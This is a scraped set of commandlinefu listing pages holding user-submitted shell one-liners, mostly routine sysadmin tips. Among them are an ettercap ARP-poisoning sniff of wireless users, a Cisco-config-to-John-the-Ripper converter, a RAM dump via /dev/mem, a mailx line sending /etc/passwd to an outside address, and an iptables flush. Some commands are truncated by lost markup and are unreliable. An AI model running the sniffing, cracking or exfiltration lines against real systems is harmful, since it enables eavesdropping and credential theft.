kernel-2.6.27.9-159.fc10.i686 kernel-headers-2.6.27.19-170.2.35.fc10.i386 List all rpms on system by name, version and release numbers, and architecture The queryformat option can be used in a number of ways to find things like duplicate packages, wrong arch, or the exact package to pass to rpm -e, yum remove, etc. function ec() { ec_var="`pwd`" && cd /etc/ && sudo bzr commit -m "$@" && cd $ec_var; } Functions: cd sudo alias for etckeeper, to commit changes after moification of etc ec commits changes to etckeeper must have etckeeper installed with bzr to use this place inside bashrc can be used from any directory to commit changes let utime=$offsetutc*3600+$(date --utc +%s)+3600; date --utc --date=@${utime} utc: Fri Aug 7 23:07:24 UTC 2009 utc+2: Sat Aug 8 01:07:24 UTC 2009 prints out the time for the timezone specified in $offsetutc. So you have less to think about things like: "I'm in utc+4 and my friend in utc-7, can I call him now or will I wake him?" Note: $offsetutc should be an integer between -12 and 12. alias rdp='rdesktop -u -g 1600x1200 -D -r disk:home=/home -r clipboard:PRIMARYCLIPBOARD' $ rdp tcdinas0 Autoselected keyboard map en-us Quick Full Screen RDP connection Sets an alias to remote desktop to the specified console, along with options to ensure the RDP session takes up the whole screen, includes a home directory mapping, and clipboard mappings. yum remove \*.i\?86 sudo ps -Aely --sort:rss | awk '{print $NF": "$8/1024" MB"}' | column -t | less Functions: awk column ps sudo Find and sort by Resident Size of each process on the system in MB tidy -asxhtml -numeric < index.html > index.xml Convert HTML file into valid XML ^D Exit shell faster Use ^D instead of exit. Also ^D ends input stream when you use terminal for typing into standard input. for file in ; do cp $file{,.bak} && sed 's/old/new/g' $file.bak > $file; done Functions: cp file sed "&&" runs sed if and only if the backup completed and /bin/cp exited cleanly. Works for multiple files; just specify multiple filenames (or glob). Use -v switch for cp to play it safe. echo $(echo $(seq $MIN $MAX) | sed 's/ /+/g') | bc -l Functions: bc echo sed seq Triangular Number exp="(2+3.0)/7.0*2^2"; val=$(awk "BEGIN {print $exp}" /dev/null) echo $val #2.85714 a simple trick to do floating point operations in shell, use awk. You can evaluate any complicated expressions which can be evaluated in C. TTY=$(tty | cut -c 6-);who | grep "$TTY " | awk '{print $6}' | tr -d '()' Functions: awk cut grep tr tty Which machine have I logged in from? find / -name core | xargs /bin/rm -f Find and remove files perl -ne 'print if m{\Q/*\E}x .. m{\Q*/\E}x or m{\/\/}x' *.c more idiomatic version of the same, using the flip-flop-operator; also printing lines with '//'-style comments sudo ettercap -T -w out.pcap -i wlan0 -M ARP // // Sniff who are using wireless. Use wireshark to watch out.pcap :] (cd src && tar -cf - .) | (cd dest && tar -xpf -) Tar Pipe Simple tar pipe to be used to copy directories while including hidden files and maintaining file permissions cat /file/way/somelogforexample | grep -o "[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}" | sort -n | uniq -c | sort -n Functions: cat grep sort uniq Cat(print) and sort all IPs from file Very useful for logs man -t man | ps2pdf - temp.pdf; evince temp.pdf &> /dev/null &; sleep 3; rm temp.pdf Functions: man rm sleep Render man page in *temporary* PDF (works in Gnome) Yeah yeah, another "render man page in pdf", but this time it creates a temporary PDF that stays resident in memory for viewing, but is eliminated on the filesystem. Replace evince with your PDF viewer of choice. ‹ First < 221 222 223 224 225 > Last › sed -i 's/^/#/' FILENAME Simple Comment an entire file With this simple sed command we can easily comment and entire file. [[ "x$TERM" == "xrxvt" || "x$XTERM_VERSION" == xXTerm* || "x$COLORTERM" == 'gnome-terminal' && "x$SHELL" == */bin/zsh ]] && preexec () { print -Pn "\e]0;$1\a" } Found another way, more compatible. Tested with xterm, aterm, gnome-terminal and rxvt (where it sets the window title) and guake (where it doesn't - after all, guake does not show the window title). aptitude -F '%p %v#' search $ aptitude -F '%p %v#' search zsh$ zsh 4.3.2-25 Supports regex pattern and very flexible output parameters and search options. du --max-depth=1 | sort -nr | awk ' BEGIN { split("KB,MB,GB,TB", Units, ","); } { u = 1; while ($1 >= 1024) { $1 = $1 / 1024; u += 1 } $1 = sprintf("%.1f %s", $1, Units[u]); print $0; } ' Show total size of each subdirectory, broken down by KB,MB,GB,TB (uuencode foo.txt foo.txt; uuencode /etc/passwd passwd.txt)|mailx -s "Pandaren!" someone@cmdfu.com Functions: mailx uuencode Send multiple attachments using mailx If you're users have ever asked your script to email their reports in separate attachments instead of tar'ring them into one file, then you can use this. You'll need the mailx package of course. In Unix you'd want to add an additional parameter "-m" (uuencode foo.txt foo.txt; uuencode /etc/passwd passwd.txt)|mailx -m -s "Hooosa!" someone@cmdfu.com dog --links "http://www.domain.com" tar cf - . |(cd /targetdir; tar xvf -) tar's and moves all contents of current directory to target dir for x in 8svx aif aifc aiff aiffc ... wv wve xa xi ; do echo $x ; play -q -t $x soundfile trim 0 3 ; done for x in 8svx aif aifc aiff aiffc al amb au avr caf cdda cdr cvs cvsd cvu dat dvms f32 f4 f64 f8 fap flac fssd gsm hcom htk ima ircam la lpc lpc10 lu mat mat4 mat5 maud nist ogg paf prc pvf raw s1 s16 s2 s24 s3 s32 s4 s8 sb sd2 sds sf sl smp snd sndfile sndr sndt sou sox sph sw txw u1 u16 u2 u24 u3 u32 u4 u8 ub ul uw vms voc vorbis vox w64 wav wavpcm wv wve xa xi ; do echo $x ; play -q -t $x soundfile trim 0 3 ; done cycle through everything sox knows how to read, playing only the first three seconds I wasted two hours reading the sox documentation and searching on the web for the format of some obscure fscking sound sample, and then finally came up with this. This plays only the first three seconds of your unknown formatted sound file using every one of sox's built-in filetypes. If you don't get an exact match, you may get close. I could not fit every single type in and keep it under 127 characters, so you will have to replace "..." with the full list obtainable by `$ sox --help` (or try `Show sample output`) note: /usr/bin/play should be linked to sox on most systems. cat | perl -e '$/ = ""; $_ = <>; s///gs; print;' remove comments from xml xml with verbose commenting can be difficult to read. remove comments from xml. grep -Ir foo * recursive grep of text files short command to find a string in all text files in all subdirectories, excluding all files grep does not deem text files. ssh-keygen -G /tmp/moduli-2048.candidates -b 2048 generate the moduli file for openssh if lost if you lost your moduli file in openssh server side you need generate new one with this command then test if the number generated can be used with ssh-keygen -T moduli-2048 -f /tmp/moduli-2048.candidates function expand_url() { curl -sI $1 | grep Location: | cut -d " " -f 2 | tr -d "\n" | pbcopy } OSX Expand URL and Copy to Clipboard Expand a URL, aka do a head request, and get the URL. Copy this value to clipboard. alias ip4rev "echo \!* | sed 's/^\([0-9]*\)\.\([0-9]*\)\.\([0-9]*\)\.\([0-9]*\)/\4.\3.\2.\1/'" % ip4rev '192.0.2.34' 34.2.0.192 % dig +sh a `ip4rev 127.0.0.2`.zen.spamhaus.org. 127.0.0.2 127.0.0.4 127.0.0.10 (tcsh alias)Reverse an IPv4 address. It is useful to looking the address up in DNSBL. For 'bash' function ip4rev() { echo $@ | sed 's/^\([0-9]*\)\.\([0-9]*\)\.\([0-9]*\)\.\([0-9]*\)/\4.\3.\2.\1/'; } svn st | grep '^\?' | awk '{print $2}' | xargs svn add; svn st | grep '^\!' | awk '{print $2}' | xargs svn rm automatically add and remove files in subversion automatically add and remove files in subversion so that you don't have to do it through the annoying svn commands anymore lsof -i -n -P | grep :80 what?s running on a given port on your machine? sudo find /etc/rc{1..5}.d -name S99myservice -type l -exec sh -c 'NEWFN=`echo {} | sed 's/S99/K99/'` ; mv -v {} $NEWFN' \; `/etc/rc2.d/S99myservice' -> `/etc/rc2.d/K99myservice' `/etc/rc3.d/S99myservice' -> `/etc/rc3.d/K99myservice' Functions: find mv sed sh sudo Manage "legacy" service run control links Change run control links from start "S" to stop "K" (kill) for whatever run levels in curly braces for a service called "myservice". NEWFN variable is for the new filename stored in the in-line shell. Use different list of run levels (rc*.d, rc{1,3,5}.d, etc.) and/or swap S with K in the command to change function of run control links. 2>/dev/null dd if=/dev/urandom bs=1 count=6 | od -t x1|sed '2d;s/0000000 *//;s/ /:/g;s/::*$//' dd:09:83:5f:9b:9d Mac OS X needs some clean up. First command works in Linux, Solaris just needs the "0000000"'s removed grep 'model\|MHz' /proc/cpuinfo |tail -n 2 model name : AMD Phenom(tm) II X4 965 Processor cpu MHz : 3400.000 Information for only one core. find -type f | xargs -I{} du -sk "{}" | sort -rn | head Functions: du find sort xargs Show the top 10 file size ps -o comm= -p $$ First version was "ps uw -p $$", but current "ps -o comm= -p $$" just gives shell name lxc-ls | sort -u | xargs -i sudo lxc-info -n {} 'lenny-pkg' is STOPPED 'lenny-www' is RUNNING 'squeeze-partial-pkg' is STOPPED 'squeeze-pkg' is RUNNING Functions: sort sudo xargs Get status of LXC This short snippet outputs the state of all containers available on your system. It is quite helpful to see which ones are running and which are stopped. Please notice that the "sort -u" is needed, otherwise running containers will be reported twice (see output of "lxc-ls" on its own for why) sed -n 's/[ :]/_/g; s/^\(.\{1,\}\)_5_\($1$[$./0-9A-Za-z]\{27,31\}\)_*$/\1:\2/p' < cisco-device-config > passwd Format a password file for John the Ripper from Cisco configs (Level 5) Pulled from http://www.openwall.com/lists/john-users/2006/05/14/8 /etc/security/bsmconv Enable Basic Security Mode (BSM) Auditing --Solaris Once Enabled this command enables a trail of all processes on the system. As the name suggested auditing for Solaris machines. BSM creates a number of files in the /etc/security directory. concatenate local RSA to remote machine's authorized_keys cat ~/.ssh/id_rsa.pub | ssh user@site.com "cat - >> ~/.ssh/authorized_keys" You'll want to use this for passwordless logins. Same as ssh-copy-id, if you don't have it on your system. ‹ First < 222 223 224 225 226 > Last › x0vnc4server -display :0 -PasswordFile ~/.vnc/passwd Start a vnc session on the currently running X session curl -o id.gif `date +http://d.yimg.com/a/p/uc/%Y%m%d/largeimagecrwiz%y%m%d.gif` get daily wizard of id comic Requires the date command. This also works with some other comics. Here's a bash script that displays daily Garfield, Id, and Andy Capp: http://putnamhill.net/cgi-bin/yahoo-comics.sh?ga,crwiz,crcap vsqlplus "SELECT * FROM TABLE_NAME;" $function vsqlplus(){ cn=0; ROWNUM=-2; sqlplus -s USER/PASSWORD@DATABASE < <(echo -e "set colsep \"'\"\nset timing off\nset feedback off\nset lines 32676\nset pages 8000\n$1";) | sed "/^$/d" | tr -d '\t' | tr -s ' ' | while read cols; do ((++ROWNUM == -1)) && eval "array_cols=( $(echo ${cols} | tr \' ' ') )"; (( ROWNUM > 0 )) && ( echo "ROWNUM=$ROWNUM"; for (( c = 0; c < ${#array_cols[*]}; c++ )); do echo " ${array_cols[(c) % ${#array_cols[*]}]}=\"$(echo "$cols"|cut -d\' -f$((c+1)) )\""; done; ) done; }; vsqlplus "SELECT * FROM TABLE_NAME;"; ROWNUM=1 COLUMN_1=[COLUMN_1_VALUE] COLUMN_2=[COLUMN_2_VALUE] COLUMN_3=[COLUMN_3_VALUE] ROWNUM=2 get the result of database query in vertical way (Column=Value) the database client sqlplus generate results one line per row. This function convert the sqlplus output to show the result vertically, in layout: Column_name=[Column_Value]. Very usefull for scripts. for arptable in `arp | grep "eth1" | cut -d " " -f1`; do arp -d $arptable; done Functions: arp cut grep Clear ARP table in linux. Clears the "arp" table, without entering manually addresses (tested in Ubuntu). find -type f | xargs -I{} du -s "{}" | sort -rn | head | cut -f2 | xargs -I{} du -sh "{}" Functions: cut du find head sort xargs Show the top file size in human readable form rmall_but() { declare -A keep;for arg;do keep[${arg%/}]=1;done;for file in *;do [[ ${keep[$file]} ]] || rm -rf "$file";done; } rany:~/Desktop$ ls f1 f2 f3 f4 rany:~/Desktop$ rmall_but f1 f4 f1 f4 Using associative array to remove all files and directories under PWD except "$1", "$2", "$3",..."$n" alias cps="ps -u root U `whoami` --forest -o pid,stat,tty,user,command |ccze -m ansi" Tree based ps view "painted" by ccze find . -regex ".*\.[cChH]\(pp\)?" -print | etags - Functions: etags find Create etags file of .c, .cpp, and .h files in all subdirectories The regular expression matches patterns of .c, .cpp, .C, .Cpp, .h, .hpp, .H, .Hpp. The matched files are piped through etags to create a TAGS file, useful for emacs. Alternate regex (if you aren't worried about capital .Cpp) is -regex ".*\.c\|.*\.cpp\|.*\.h" for x in `jot - 0 \`curl "http://www.commandlinefu.com/commands/browse"|grep "Terminal - All commands" |perl -pe 's/.+(\d+),(\d+).+/$1$2/'|head -n1\` 25`; do curl "http://www.commandlinefu.com/commands/browse/sort-by-votes/plaintext/$x" ; done >a.txt # SSH connection through host in the middle ssh -t reachable_host ssh unreachable_host # A fun thing to do with ram is actually open it up and take a peek. This command will show you all the string (plain text) values in ram sudo dd if=/dev/mem | cat | strings # Watch Star Wars via telnet telnet towel.blinkenlights.nl # Backticks are evil echo "The date is: $(date +%D)" This is an extension of a previous command by satyavvd on 2009-07-23 12:04:02, but this one grabs the whole archive. Hard coded numbers in previous script capped number of commands that could be fetched. This one grabs them all regardless of how big the archive gets. shutdown -r now orderly shutdown system and reboot. Good practice to use "shutdown -r now" instead of reboot. watch -n 2 netstat -antu Functions: netstat watch Watch netstat output every 2 seconds [ "c84fa6b830e38ee8a551df61172d53d7" = "$(md5sum myfile | cut -d' ' -f1)" ] && echo OK || echo FAIL wcalc -q <<< '3/5' 0.6 Calculator for shell. Similar performance and basic usage as 'bc', but with more advanced features. Not installed on most systems by default. grep -i "$*" /usr/lib/perl5/Unicode/CharName.pm | while read a b; do /usr/bin/printf "\u$a\tU+%s\t%s\n" "$b"; done No need for further filedes or substitution for splitting. Simply use read a b setxkbmap -layout us,ru -variant basic,phonetic -option -option grp:switch,grp:caps_toggle For setting of double keyboard layouts: us, ru, but you can write in phonetic like www.translit.ru test -d folder || mkdir folder Functions: mkdir test Create a folder but first you can test if it exists cat video.avi.001 video.avi.002 video.avi.003 >> video.avi Combining video file part downloaded separately using cat command c=blue;convert -size 50x50 xc:$c $c.png; for i in red green yellow; do convert $c.png -background $i -rotate 20 $i.png; rm $c".png"; c=$i; done; mv $i".png" logo.png; display logo.png Functions: mv rm create a colorful image dig +noall +answer exsample.com print only answer section. for x in `git status | grep deleted | awk '{print $3}'`; do git rm $x; done Functions: awk grep rm date -d 09/20/1981 +"%Y-%m-%d" Change date from MM/DD/YYYY to YYYY-MM-DD (mysql like) alias chop="tr -d '\r\n'" bash chop similar to perl chop() svn diff ARGUMENTS_FOR_DIFF | source-highlight --out-format=esc --src-lang=diff wget -O - -q http://www.azlyrics.com/lyrics/abba/takeachanceonme.html | sed -e 's/[cC]hance/dump/g' > ~/tdom.htm && firefox ~/tdom.htm Make ABBA better (requires firefox) ABBA would be more entertaining if they sang this. for i in in $(vgdisplay -v vg00 | grep "LV Name" | awk '{ print $3 };'); do; lvextend -m 1 $i /dev/disk/; done Create one mirror copy of every lvol in the vg00 just after a cold install of an HP-UX 11.31. Cna be used also for 11.23 but remember that in 11iv2 there is no agile view so the disk will be /dev/dsk/cxtxdxs2 ‹ First < 223 224 225 226 227 > Last › sed 's+href="\([^"]*\)"+\n\1\n+g' bookmarks.html | grep '^http' |clive Parse bookmarks and download youtube files Parses your exported bookmarks to generate a clean list of http lines and passes it on to clive to try to download the video file from various sites. __disown(){ local cmd=$1 ; shift ; $cmd "$@" &> /dev/null &disown }; for i in gvim ; do alias $i="__disown $i"; done Functions: alias shift gvim foo.txt will open gvim dettached from the current terminal. netstat -tlvp find out which TCP ports are listening and opened by which process in verbose MAC=$((date +'%Y%m%d%H%M%S%N'; cat /proc/interrupts) | md5sum | sed -r 's/(..)/\1:/g' | cut -d: -f 1-6) Functions: cat cut date md5sum sed I liked vaporub's suggestion, here a little simplification of the sed command. cat file.orig | ssh user1@host1 "ssh user2@host2 \"ssh user3@server3 'cat >file.dest'\"" Copy a file over the network with 3 bounces pub key in ./ssh/authorized_keys needed because ssh-ed ssh can't ask for the password. cat file.txt | while read line; do printf "%7.2f -> %7.2f\n" $line; done Functions: cat printf read Bashbuiltin printf ifconfig -a| awk 'BEGIN{FS="[ :]+"} /Bcast/{print $4}' Return IP Address curl -s -L --head -w "%{http_code}\n" URL | tail -n1 Get the state (HTTP code) of a resource from its URL find . -type f -name '*.jpg' -exec convert -quality 75 {} {} \; Converts all jpg files to 75 quality. Requires ImageMagick to be installed. This command was stolen from @climagic on Twitter. Probably a duplicate of command below, but this command uses slightly higher quality. http://www.commandlinefu.com/commands/view/707/compress-images-using-convert-imagemagick-in-a-bulk du -sh `pwd` 235M /home/user/files1 Show size of in MB of the current directory. Shows the size of the directory the command is ran in. The size is in MB and GB. There is no need to type the path, its the current working directory. git merge --no-commit --no-ff git merge --dry-run Will do the merge, but only apply changes to working copy and index; won't commit. for x in `seq -w 1 30`; do sar -b -f /var/log/sa/sa$x | gawk '/Average/ {print $2}'; done 4789.98 4286.45 4286.23 4028.34 4108.42 812.15 3171.27 3696.37 4584.12 Extract the daily average number of iops You need sysstat and gawk for this to work. vim -e -s -c 'g/start_pattern/+1,/stop_pattern/-1 p' -cq file.txt $cat file.txt begin here too start_pattern pipo et molo du ski stop_pattern plus more here $vim -e -s -c 'g/start_pattern/+1,/stop_pattern/-1 p' -cq file.txt By using vim, you can also filter content on stdout, using vim's extra power, like search pattern offset! No more awk of course, sorry. details : -e ex mode -s silent -c 'ex command' : global + start and end pattern + offset print (p) -cq : quit function wherepath () { for DIR in `echo $PATH | tr ":" "\n" | awk '!x[$0]++ {print $0}'`; do ls ${DIR}/$1 2>/dev/null; done } $ PATH=/opt/freeware/bin:/usr/bin:/usr/bin:/usr/bin:/usr/local/bin:/usr/sbin:$HOME/bin:/opt/freeware/bin:$HOME/bin $ wherepath awk /opt/freeware/bin/awk /usr/bin/awk /home/user/bin/awk Functions: awk ls tr list all instances of a file in your PATH directories (without duplicates) in PATH order The wherepath function will search all the directories in your PATH and print a unique list of locations in the order they are first found in the PATH. (PATH often has redundant entries.) It will automatically use your 'ls' alias if you have one or you can hardcode your favorite 'ls' options in the function to get a long listing or color output for example. Alternatives: 'whereis' only searches certain fixed locations. 'which -a' searches all the directories in your path but prints duplicates. 'locate' is great but isn't installed everywhere (and it's often too verbose). ps -eo pmem,pid,comm --no-headers | sort -k1 -rn | head -10 8.2 14730 MATLAB 5.6 2236 nautilus 3.1 1 chromium-browse 2.7 2555 chromium-browse 24.7 1 dropbox 1.8 2555 chromium-browse 1.4 2550 chromium-browse 1.2 2555 chromium-browse show top 10 most memory hungry process with a simple format of (%mem, pid, short command) Pros: the format is very simple, there is no need to show every columns, and full command with args the first column is memory consumption % the second column is pid the third is just the command (without full arguments, most application's arguments are too long) You can decide which application to kill then. cat /etc/passwd | wc -l Functions: cat wc How many lines does the passwd file have? rsync -aHux --exclude=/proc/* --exclude=/sys/* /* /mnt/target/ cloning root filesystem without suffering to possible interruptions. useful when moving a running system to a new partition. also works as a solid backup solution. nmap -T Aggressive -A -v 127.0.0.1 -p 1-65000 List services running on each open port git merge-base branch1 branch2 ee474386d98836f33fc6138f7ef8894d3f5ff2fd git branch point Tells the closest (latest) shared ancestor commit (SHA1) of two branches. http://www.kernel.org/pub/software/scm/git/docs/git-merge-base.html defaults write com.apple.Finder AppleShowAllFiles TRUE Show hidden files in OS X Swap TRUE with FALSE to turn it off again. Note: Finder must be relaunched afterwards to see the effect. For example like this: killall Finder && open /System/Library/CoreServices/Finder.app do-release-upgrade do a release upgrade in ubuntu release upgrades are major upgrades as from 8.04 to 8.10 or from 8.10 to 9.04 update-manager-core must be installed: sudo apt-get install update-manager-core in some cases you must edit '/etc/update-manager/release-upgrades' and set 'Prompt=normal' echo "1+1" | bc calculate in commandline with bc function clearIptables(){iptables -P INPUT ACCEPT; iptables -P FORWARD ACCEPT; iptables -P OUTPUT ACCEPT; iptables -F; iptables -X; iptables -L} Clear iptables rules safely ur1() { curl -s --url http://ur1.ca/ -d longurl="$1" | sed -n -e '/Your ur1/!d;s/.*.*$/\1/;p' ; } Short URLs with ur1.ca ur1.ca needs http:// on your URL echo "LINUX,DIR,FILE1,FILE2,FILE3" | perl -aF, -nle 'my ($fld1, $fld2, @fields) = @F; while(@fields) { print join ",", $fld1, $fld2, splice(@fields, 0, 1) }' LINUX,DIR,FILE1 LINUX,DIR,FILE2 LINUX,DIR,FILE3 Functions: echo join perl Print repeating CSV values on new lines - normalize repeating fields Lets say you have a file with the following layout: LINUX,DIR,FILE1,FILE2,FILE3 You want the file to look like this: LINUX,DIR,FILE1 LINUX,DIR,FILE2 LINUX,DIR,FILE3 This perl command does it for you. ‹ First < 224 225 226 227 228 > Last › dir -C -1 -N -RNCCI /dir/ > file.csv Functions: dir Print file list to CSV find /path/to/dir -user root -exec chown [nonprivuser] {} \; For files owned by root only, change ownership to a non-privileged user. useful if you want to start running a svc as a non-privileged user instead of root. cvs -n update 2>null | grep -i "M " | sed s/"M "// Functions: cvs grep sed tty > /dev/null 2>&1 || { aplay error.wav ; exit 1 ;} Functions: aplay exit tty If your script needs to be run in a terminal, this line at the top will stop it running if you absent-mindedly double-click the icon, perhaps intending to edit it. (Of course this won't help with scripts that run in the background.) dc -e "1 1 + p" calculate in commandline with dc Us dc instead of bc. RPN FTW!!! rm -rf .??* [root@centos CRM]# ls -al drwxrwxr-x 3 gregg gregg 4096 Mar 10 22:59 . drwxr-xr-x 29 gregg gregg 4096 Mar 10 22:59 .. -rw-rw-r-- 1 gregg gregg 146 Nov 25 2008 .htaccess drwxrwxr-x 6 gregg gregg 4096 Nov 24 2008 .svn [root@centos CRM]# mv .??* ../ drwxrwxr-x 2 gregg gregg 4096 Mar 10 22:59 . drwxr-xr-x 30 gregg gregg 4096 Mar 10 22:59 .. rm -rf .* matches ".." and thus one goes up a level and wipes out more than intended. In bash, .??* safely accomplishes what one intends - remove those .files The ? matches most characters except "/", thus .?? does not match ../ and so one is safe. find $PWD -type d | while read "D"; do cd "$D"; for filename in *.epub;do ebook-convert "$filename" "${filename%.epub}.mobi" --prefer-author-sort --output-profile=kindle --linearize-tables --smarten-punctuation --asciiize;done ;done Functions: cd find read Recursive script to find all epubs in the current dir and subs, then convert to mobi using calibre's ebook-convert utility finds all epub files in the current directory and all child directories and converts them to .mobi format. all of the ebook-convert -options are optional; the only parameters you are required to pass are the incoming file and the outgoing file, with the extension. egrep expr1\|expr2 file Regex or SCALE=3; WIDTHL=10; WIDTHR=60; BAR="12345678"; BAR="${BAR//?/==========}"; while read LEFT RIGHT rest ; do RIGHT=$((RIGHT/SCALE)); printf "%${WIDTHL}s: %-${WIDTHR}s\n" "${LEFT:0:$WIDTHL}" "|${BAR:0:$RIGHT}*"; done < dataset.dat $ cat dataset.dat Beatrice 23 $ SCALE=1; WIDTHL=10; WIDTHR=60; BAR="12345678"; BAR="${BAR//?/==========}"; while read LEFT RIGHT rest ; do RIGHT=$((RIGHT/SCALE)); printf "%${WIDTHL}s: %-${WIDTHR}s\n" "${LEFT:0:$WIDTHL}" "|${BAR:0:$RIGHT}*"; done < dataset.dat Andreas: |=========================================* Beatrice: |=======================* Functions: printf read Print a bar graph WIDTHL=10 and WIDTHR=60 are setting the widths of the left and the right column/bar. BAR="12345678" etc. is used to create a 80 char long string of "="s. I didn't know any shorter way. If you want to pipe results into it, wrap the whole thing in ( ... ) I know that printing bar graphs can be done rather easily by other means. Here, I was looking for a Bash only variant. chgrp -R [projgroup] ; find /path/to/dir -type d -exec chmod g+s {} \; Functions: chgrp chmod find Turn /path/to/dir and subdirectories into a project tree changes group ownership of all files/dirs in /path/to/dir to a project group [projgroup] and then gives the sgid bit to directories in that tree - all subsequently created files will inherit [projgroup]'s gid. alias showip="ifconfig eth0 | grep 'inet addr:' | sed 's/.*addr\:\(.*\) Bcast\:.*/\1/'" $ showip 192.168.0.55 alias to show my own configured ip parses the output of ifconfig to show only the configured ip address (in this case from interface eth0). the regexp is quick'n'dirty im sure it can be done in a better way. --> this alias does not show your "internet ip" when you're in a nat-environment remind -z1 -k'echo %s |ssh @ "growlnotify"' ~/.reminders & Send Reminders from your Linux Server to Growl on a Mac Requires Linux Remind: http://www.roaringpenguin.com/products/remind and Growl on the Mac: http://growl.info/ growlnotify needs to be in the executable path on the mac. Combined with "prowl" in the iPhone you can receive push notifications of your reminders to the iPhone. echo 50 > /proc/sys/vm/swappiness rm -rf .[!.]* convert -crop 32x33 +repage http://code.google.com/more/more-sprite.png icon.png crop google's icons convert -crop 51x34 +repage http://www.google.com/images/flags/sprite_flag-50.png flag.png alias me="echo '`ifconfig | grep inet | grep broadcast | awk '{print $2}'`' && uname -n" $ me computer-host-name.local 10.0.1.5 get ip and hostname for this computer Creates an alias that reports your hostname and IP for you computer. Getting the quotes in an alias with awk commands can be a painful. Need uname and ifconfig--both are included in most unix distributions, I believe. Hope it is useful. find . -name ".svn" -exec rm -rf {} \; If you need to delete all redundant ".svn" directories from a given path and all its subdirectories, use this command ! Particulary useful if you want to upload to an ftp server, but don't use svn or if you need to update/backup some source code to another directory. You can also try "svn export . /new/path/without/svn/dirs" (also from the CLI) less =rcsyslog opening your helper script without knowing the path (zsh) This is equivalent to: less `which rcsyslog` cp -arv ~/Documents/{foo,bar} --target-directory=~/buzz/ Copy the directory you want to specify a comma separated list of directories to copy. ssh -c 'tar cvzf - -C /path/to/src/*' | tar xzf - Create & transfer tarball over ssh Create tarball on stdout which is piped to tar reading from stdin all over ssh !xclip -i % Allows to copy the file contents to X clipboard, and then be pasted in any application with the middle mouse button. sudo cpulimit -e Grooveshark -l 20 Process 2927 detected Stop Grooveshark destroying your CPU Will limit the amount of CPU time Grooveshark the greedy yet useful Adobe Air app will have. Leaves the UI lagging a little, but crucially does not ruin the audio. fortune | pv -qL 10 type fortune in real time vzlist -a -H -o hostname,diskspace,diskspace.s,veid | awk '{ printf( "%2.f%\t%s\t%s\n"), $2*100/$3, $4, $1}' | sort -r Get disk quota usage openvz using vzlist OpenVZ: Get disk quota usage for your VEID sort -t"," -n -k5 file.csv # according to the 5th field NUMERICALLY!! pielberg,Steven,18,dec,1946 Gellar,Sarah_Michelle,14,apr,1977 Bryant,Kobe1,23,aug,1978 Bryant,Kobe4,23,sep,1979 Harnois,Elisabeth,26,may,1979 Underwood,Carrie,10,mar,1983 Ryan,Michelle,22,apr,1984 Belle,Camilla,2,oct,1986 Sharapova,Maria,19,apr,1987 Bryant,Kobe3,23,sep,1998 Bryant,Kobe2,24,aug,2000 the file.csv is: sort a csv file according to a particular n th field numerically (quicker than excel) -n is very important, otherwise it's string comparison ‹ First < 225 226 227 228 229 > Last › $ history convert input.png -mattecolor gold -frame 10x10+5+5 output.png add border to image /sbin/dumpe2fs /dev/hda2 | grep 'Block size' How to Find the Block Size Useful to know, especially if you are dealing with output configurations in block size. Tested on 'Red Hat'. ssh middlehost "ssh -a root@securehost '> nicescript'" < nicescript Stop tormenting the poor animal cat! Also you should not that you need a private key not protected by a passphrase on middlehost that grants you access to securehost.. awk 'NR==2 {print $1}' /proc/net/arp netstat -tulpnc tcp 0 0 0.0.0.0:111 0.0.0.0:* LISTEN - tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.1:631 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.1:6010 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.1:6011 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.1:6012 0.0.0.0:* LISTEN - tcp 0 0 :::111 :::* LISTEN - tcp 0 0 :::22 :::* LISTEN - tcp 0 0 ::1:631 :::* LISTEN - tcp 0 0 ::1:25 :::* LISTEN - tcp 0 0 ::1:6010 :::* LISTEN - tcp 0 0 ::1:6011 :::* LISTEN - tcp 0 0 ::1:6012 :::* LISTEN - udp 0 0 0.0.0.0:111 0.0.0.0:* - udp 0 0 0.0.0.0:631 0.0.0.0:* - udp 0 0 0.0.0.0:670 0.0.0.0:* - udp 0 0 0.0.0.0:26791 0.0.0.0:* - udp 0 0 0.0.0.0:5353 0.0.0.0:* - udp 0 0 0.0.0.0:39640 0.0.0.0:* - udp 0 0 :::111 :::* - udp 0 0 :::546 :::* - udp 0 0 :::670 :::* - udp 0 0 :::43339 :::* - (Not all processes could be identified, non-owned process info will not be shown, you would have to be root to see it all.) showing opened ports on machine shows opened ports on machine in continuous mode (refreshing every 10 sec) svn log | tr -d '\n' | sed -E 's/-{2,}/\'$'\n/g' | sed -E 's/ \([^\)]+\)//g' | sed -E 's/^r//' | sed -E "s/[0-9]+ lines?//g" | sort -g SVN Status log to CSV (Mac OSX friendly) This is a minor variation to cowboy's submission - his script worked great on Ubuntu, but the sed gave issues on osx (which used BSD). Minor tweaks (sed -E instead of sed -r and \'$'\n to handle the new line made it work. convert input.png -shave 10x10 output.png remove border of image pacman -Q | grep -v pacman | cut -d' ' -f1 > packages.txt && pacman -Sy `cat packages.txt` --noconfirm pacman install list of packages mplayer -vo aa:eight:driver=curses video.avi >video.txt .......MMMMMMMMMMMMMMM????+????I???. MMMMMMMMMMMMMNOOODMM7??+MMMMMMMMMMMMM. ..8??????777MMMMMMMMMMMMM????????M??+MMMMMMMMMMDOOOOOOOOOOMMI????MMMMMMMMMMMN M??????++?I777MMMMMMMMMMMMMMNMM7?7+?+MMMMMMMMM8OOOOOOOOO8MMMMO????+DMMMMMMMMM 7+M8I???????7777MMMMMMMMMMMMMMMMM??8??MMMMMMMMMOOOOOODMMMMMMMMMMMOMN+7MMMMMMMM .I????????????7777DMMMMMMMMMMMMMMM??I??8MMMMMMMMOOOOOOOMMMMMMMMMMNOM???MMMMMMMM. D+??????$ZO$??I7777MMMMMMMMMMMMMMM7+?M?IMMMMMMMOOOOOOOOMMMMMMMMMMN$???7MMMMMMMM7 M???M$?????????77777MMMMMMMMMMMMMMM??+D+?Z..MMMOOOOOOOOMMMMMM8 7????+MMMMMMMM8I . ZM???????????I77777MMMMMMMMMMMMMM???+$+?IIZ=....DN.:NZ8 ...M?????IMMMMMMMM? .D????????????77777MMMMMMMMMMMMMM+????8??????$MD:......7M7???????OMMMMMMMM= ..MMMMMMM?????77777NMMMMMMMMMMMM 8?????D+??????????????????????+D. MMMM=~~ converts video to ascii art (txt) by mplayer and aa|caca lib 